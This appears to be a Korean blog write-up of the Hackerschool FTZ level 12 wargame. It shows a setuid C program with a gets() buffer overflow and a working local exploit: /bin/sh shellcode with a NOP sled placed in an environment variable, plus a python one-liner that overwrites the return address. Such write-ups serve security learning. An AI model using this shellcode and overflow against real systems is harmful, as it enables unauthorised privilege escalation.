login : level12
pw : it is like this
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
파일 복사해서 gdb로 직접 코드 넣고 메모리 볼려했는데
한글이 깨져서 그냥 환경변수로 풀어야겠다.
일단 스택구조는
이전 문제와 동일한것같다
str(256) + dummy(8) + sfp(4) + ret(4)
삽질좀 많이했는데 환경변수 넣을때 \x90을 좀 넣어주자;
export shellcode=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
잘 들어갔다
#include <stdio.h>
int main(void){
printf("%p\n", getenv("shellcode"));
}
(python -c 'print "\x90"*268 + "\xfc\xfe\xff\xbf"';cat)|./attackme
pw : have no clue
'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글
FTZ level14 (0) | 2021.03.13 |
---|---|
FTZ level13 (0) | 2021.03.13 |
FTZ level11 (0) | 2021.03.13 |
FTZ level10 (0) | 2021.03.12 |
FTZ level9 (0) | 2021.03.12 |